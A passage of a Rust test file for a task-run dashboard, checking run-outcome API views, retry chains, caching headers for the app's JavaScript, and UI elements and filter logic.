14980 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14981 write_run(&runs, old, RunStatus::Stalled);
14982 write_run(&runs, new, RunStatus::Blocked);
14983 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14984 fx.queue().put(&mut t).expect("put");
14985
14986 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14987 assert_eq!(task["status"], "held");
14988 assert_eq!(task["is_latest"], true);
14989 assert!(task["latest"].is_null());
14990 assert!(task["finished_by"].is_null());
14991 assert_eq!(task["closed_by_hand"], false);
14992 }
14993
14994 #[tokio::test]
14995 async fn a_direct_run_has_no_task_outcome() {
14996 let fx = Fixture::start().await;
14997 let runs = fx.runs();
14998 let id = "20260901-000000-aaaa";
14999 write_run(&runs, id, RunStatus::Blocked);
15000 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15001 assert!(view["task"].is_null());
15002 }
15003
15004 #[test]
15005 fn task_outcome_does_not_guess_a_finishing_run() {
15006 let a = "20260901-000000-aaaa";
15007 let b = "20260901-000000-bbbb";
15008 let c = "20260901-000000-cccc";
15009 let dir = tempfile::tempdir().expect("tempdir");
15010 write_run(dir.path(), a, RunStatus::Blocked);
15011 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15012 let read = |id: &str| read_run(dir.path(), id).ok();
15014 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15017 let out = task_outcome(&t, a, 3, read);
15018 assert!(out.finished_by.is_none());
15019 assert!(out.closed_by_hand);
15020 let latest = out.latest.expect("latest");
15021 assert_eq!(latest.id, c);
15022 assert_eq!(latest.status, None);
15023 assert_eq!(latest.outcome, "record unreadable");
15024
15025 write_run(dir.path(), c, RunStatus::Ready);
15027 let t = outcome_task(&[a, c], TaskStatus::Done);
15028 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15029 assert_eq!(out.finished_by.expect("finisher").id, c);
15030 assert!(!out.closed_by_hand);
15031
15032 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15034 assert!(task_outcome(&t, a, 3, read).is_latest);
15035 }
15036
15037 #[tokio::test]
15038 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15039 let fx = Fixture::start().await;
15044 let q = fx.queue();
15045 let runs = fx.runs();
15046 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15047 write_run(&runs, first, RunStatus::Blocked);
15048 write_run(&runs, second, RunStatus::Merged);
15049
15050 let mut t = Task::new(
15051 "one task".to_owned(),
15052 "do it".to_owned(),
15053 PathBuf::from("/repo"),
15054 Source::Human,
15055 );
15056 t.runs = vec![first.to_owned(), second.to_owned()];
15057 q.put(&mut t).expect("put");
15058
15059 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15060 assert_eq!(earlier["superseded_by"], "dddd");
15061 assert_eq!(earlier["latest_attempt"]["id"], second);
15062 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15063 assert_eq!(
15064 earlier["latest_attempt"]["resolved"], true,
15065 "the run that replaced it landed, so this one reads as settled"
15066 );
15067
15068 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15069 assert!(
15070 later["superseded_by"].is_null(),
15071 "the latest attempt is not superseded by anything"
15072 );
15073 assert!(
15074 later["latest_attempt"].is_null(),
15075 "the latest attempt has no later attempt of its own"
15076 );
15077
15078 assert!(APP_JS.contains("run.latest_attempt"));
15085 assert!(APP_JS.contains("data-superseded"));
15086 assert!(APP_JS.contains("#/runs/${latest.id}"));
15087 }
15088
15089 #[tokio::test]
15090 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15091 let fx = Fixture::start().await;
15097 let q = fx.queue();
15098 let runs = fx.runs();
15099 let (a, b, c) = (
15100 "20260901-000000-aaaa",
15101 "20260901-000000-bbbb",
15102 "20260901-000000-cccc",
15103 );
15104 write_run(&runs, a, RunStatus::Blocked);
15105 write_run(&runs, b, RunStatus::Blocked);
15106 write_run(&runs, c, RunStatus::Merged);
15107
15108 let mut t = Task::new(
15109 "retried twice".to_owned(),
15110 "do it".to_owned(),
15111 PathBuf::from("/repo"),
15112 Source::Human,
15113 );
15114 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15115 q.put(&mut t).expect("put");
15116
15117 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15118 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15119 assert_eq!(
15120 view["latest_attempt"]["id"], c,
15121 "the chain's current head, not the intermediate Blocked retry"
15122 );
15123 assert_eq!(view["latest_attempt"]["resolved"], true);
15124
15125 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15126 assert_eq!(mid["latest_attempt"]["id"], c);
15127 assert_eq!(mid["latest_attempt"]["resolved"], true);
15128 }
15129
15130 #[tokio::test]
15131 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15132 let fx = Fixture::start().await;
15133 let q = fx.queue();
15134 let runs = fx.runs();
15135
15136 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15139 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15140 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15141 let mut t1 = Task::new(
15142 "still stuck".to_owned(),
15143 "do it".to_owned(),
15144 PathBuf::from("/repo"),
15145 Source::Human,
15146 );
15147 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15148 q.put(&mut t1).expect("put");
15149 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15150 assert_eq!(view1["latest_attempt"]["resolved"], false);
15151 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15152 assert_eq!(view1["latest_attempt"]["done"], true);
15153
15154 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15156 write_run(&runs, run_a, RunStatus::Blocked);
15157 write_run(&runs, run_b, RunStatus::Implementing);
15158 let mut t3 = Task::new(
15159 "retrying".to_owned(),
15160 "do it".to_owned(),
15161 PathBuf::from("/repo"),
15162 Source::Human,
15163 );
15164 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15165 q.put(&mut t3).expect("put");
15166 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15167 assert_eq!(view3["latest_attempt"]["id"], run_b);
15168 assert_eq!(view3["latest_attempt"]["resolved"], false);
15169 assert_eq!(view3["latest_attempt"]["done"], false);
15170
15171 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15176 write_run(&runs, noop_a, RunStatus::Blocked);
15177 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15178 let mut t2 = Task::new(
15179 "claims done".to_owned(),
15180 "do it".to_owned(),
15181 PathBuf::from("/repo"),
15182 Source::Human,
15183 );
15184 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15185 q.put(&mut t2).expect("put");
15186 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15187 assert_eq!(
15188 view2["latest_attempt"]["resolved"], false,
15189 "an unverified no-op claim must not read as a confirmed finish"
15190 );
15191
15192 assert!(APP_JS.contains("latest.resolved"));
15195 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15198 assert!(APP_JS.contains("Latest attempt: "));
15199 assert!(APP_JS.contains("in flight"));
15200 assert!(APP_JS.contains("not resolved"));
15201 }
15202
15203 #[tokio::test]
15204 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15205 let fx = Fixture::start().await;
15206 let js = fx.get("/app.js").await;
15212 assert_eq!(js.status, 200);
15213 let tag = js
15214 .header("etag")
15215 .expect("an etag to revalidate against")
15216 .to_owned();
15217 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15218 assert_eq!(
15219 js.header("cache-control"),
15220 Some("no-cache, must-revalidate"),
15221 "the phone has to ask every time"
15222 );
15223
15224 let again = fx
15227 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15228 .await;
15229 assert_eq!(
15230 again.status, 304,
15231 "a deck it already has costs one round trip"
15232 );
15233 assert!(again.body.is_empty(), "304 carries no body");
15234
15235 let weak = fx
15238 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15239 .await;
15240 assert_eq!(weak.status, 304);
15241 let stale = fx
15242 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15243 .await;
15244 assert_eq!(stale.status, 200, "an older build must be replaced");
15245 assert!(stale.body.contains("renderRunActions"));
15246 }
15247
15248 #[test]
15249 fn the_task_detail_has_an_actions_fab_and_sheet() {
15250 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15251 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15252 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15253 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15255 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15256 assert!(APP_JS.contains("renderTaskActions(task);"));
15258 assert!(APP_JS.contains("renderTaskActions(null);"));
15259 let sheet = APP_JS
15261 .find("function renderTaskActions")
15262 .expect("sheet renderer");
15263 let body = &APP_JS[sheet..sheet + 3000];
15264 assert!(body.contains("changePriority("));
15265 assert!(body.contains("openTaskEdit(task)"));
15266 assert!(body.contains("renderTaskHoldBox(host"));
15267 assert!(body.contains("renderTaskDoneBox(host"));
15268 assert!(body.contains("renderTaskDeleteBox(host"));
15269 assert!(APP_JS.contains("API.priority(id)"));
15270 assert!(APP_JS.contains("API.deleteTask(id)"));
15271 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15273 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15275 }
15276
15277 #[test]
15278 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15279 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15280 let actions = INDEX_HTML
15281 .find("id=\"run-actions-box\"")
15282 .expect("actions box");
15283 assert!(task < actions, "the task entry comes first in the sheet");
15284 assert!(APP_JS.contains("renderRunTaskEntry"));
15285 assert!(APP_JS.contains("\"Open task \""));
15286 assert!(APP_JS.contains("started directly, no task"));
15288 assert!(APP_JS.contains("sheet-task-link"));
15289 assert!(APP_JS.contains("task-chip-link"));
15290 }
15291
15292 #[test]
15293 fn the_deck_never_sends_the_operator_to_a_terminal() {
15294 assert!(
15297 !APP_JS.contains("Run `magi fold` first"),
15298 "the deck must offer the fold, not prescribe a shell command"
15299 );
15300 assert!(APP_JS.contains("foldRun:"));
15301 assert!(APP_JS.contains("resumeRun:"));
15302 assert!(APP_JS.contains("renderRunActions"));
15303
15304 assert!(APP_JS.contains("armedFold"));
15306 assert!(APP_JS.contains("Yes, fold worktrees"));
15307
15308 assert!(APP_JS.contains("can no longer be resumed"));
15311 }
15312
15313 #[test]
15314 fn a_finished_run_explains_itself_with_its_own_last_line() {
15315 assert!(
15321 !APP_JS.contains("collapsed on agent quota"),
15322 "a stall must not be explained by a cause the deck did not check"
15323 );
15324 assert!(
15325 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15326 "and a block must not offer a guess with an `or` in it"
15327 );
15328
15329 assert!(
15333 APP_JS.contains("setText(r.event, run.event || \"\")"),
15334 "the run's last line is rendered unconditionally"
15335 );
15336 assert!(
15337 !APP_JS.contains("moving && run.event"),
15338 "and never gated on the run still moving"
15339 );
15340
15341 assert!(APP_JS.contains("lost to quota"));
15343 }
15344
15345 #[test]
15367 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15368 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15369 let shapes_body_start =
15370 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15371 let shapes_close = APP_JS[shapes_body_start..]
15372 .find("].map(")
15373 .expect("the shape list is closed by its done-computing .map(...)")
15374 + shapes_body_start;
15375 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15376
15377 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15378 for entry in shapes_src.split('{').skip(1) {
15379 let waiting = entry.contains("waiting: true");
15380 let dead = entry.contains("live: \"dead\"");
15381 let status_at =
15382 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15383 let status_end = entry[status_at..]
15384 .find('"')
15385 .expect("the status string is closed")
15386 + status_at;
15387 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15388 }
15389 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15390
15391 let done_rule_marker = "done: !";
15395 let done_rule_at = APP_JS[shapes_close..]
15396 .find(done_rule_marker)
15397 .expect("the done rule follows the shape list")
15398 + shapes_close
15399 + done_rule_marker.len();
15400 let includes_at = APP_JS[done_rule_at..]
15401 .find(".includes(shape.status)")
15402 .expect("the done rule ends in .includes(shape.status)")
15403 + done_rule_at;
15404 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15405 .trim()
15406 .trim_start_matches('[')
15407 .trim_end_matches(']')
15408 .split(',')
15409 .map(|s| s.trim().trim_matches('"'))
15410 .filter(|s| !s.is_empty())
15411 .collect();
15412
15413 let shapes: Vec<(bool, String, bool, bool)> = shapes
15414 .into_iter()
15415 .map(|(waiting, status, dead)| {
15416 let done = !not_done.contains(&status.as_str());
15417 (waiting, status, dead, done)
15418 })
15419 .collect();
15420
15421 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15425 if waiting {
15426 return "waiting";
15427 }
15428 if dead
15429 && !matches!(
15430 status,
15431 "merged"
15432 | "ready"
15433 | "stalled"
15434 | "blocked"
15435 | "failed"
15436 | "verified_noop"
15437 | "superseded"
15438 | "already_in_base"
15439 )
15440 {
15441 return "stale";
15442 }
15443 match status {
15444 "merged" | "ready" => "landed",
15445 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15446 | "already_in_base" => "ended",
15447 _ => "flight",
15448 }
15449 }
15450
15451 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15454 match filter_key {
15455 "active" => !done,
15456 "flight" => !done && !waiting && !dead,
15457 "stale" => !done && !waiting && dead,
15458 "waiting" => waiting,
15459 "done" => done,
15460 "all" => true,
15461 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15462 }
15463 }
15464
15465 let compatible = |section: &str, filter_key: &str| {
15466 shapes.iter().any(|(waiting, status, dead, done)| {
15467 run_section(*waiting, status, *dead) == section
15468 && filter_matches(filter_key, *waiting, *dead, *done)
15469 })
15470 };
15471
15472 let expected = [
15477 ("waiting", [true, false, false, true, true, true]),
15478 ("stale", [true, false, true, false, false, true]),
15479 ("flight", [true, true, false, false, false, true]),
15480 ("landed", [false, false, false, false, true, true]),
15481 ("ended", [false, false, false, false, true, true]),
15482 ];
15483 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15484
15485 for (section, wants) in expected {
15486 for (filter_key, want) in filter_keys.iter().zip(wants) {
15487 assert_eq!(
15488 compatible(section, filter_key),
15489 want,
15490 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15491 );
15492 }
15493 }
15494
15495 assert!(
15498 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15499 );
15500 assert!(APP_JS.contains(
15501 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15502 ));
15503 assert!(APP_JS.contains(
15504 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15505 ));
15506 }
15507
15508 #[tokio::test]
15509 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15510 let dir = tempfile::tempdir().expect("tempdir");
15514 let explicit = dir.path().join("not-a-checkout");
15515 std::fs::create_dir_all(&explicit).expect("create dir");
15516 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15517
15518 let missing = dir.path().join("does-not-exist-at-all");
15519 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15520 }
15521
15522 #[test]
15523 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15524 assert!(APP_JS.contains("function statsDonutArcs"));
15525 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15526 assert!(APP_JS.contains("function statusInBucket"));
15528 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15529 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15530 let buckets = [
15531 "merged",
15532 "ready",
15533 "in_progress",
15534 "blocked",
15535 "failed",
15536 "verified_noop",
15537 "superseded",
15538 "stalled",
15539 ];
15540 for key in buckets {
15541 let var = format!("--verdict-{key}:");
15542 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15544 assert!(
15545 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15546 "{key}"
15547 );
15548 }
15549 }
15550}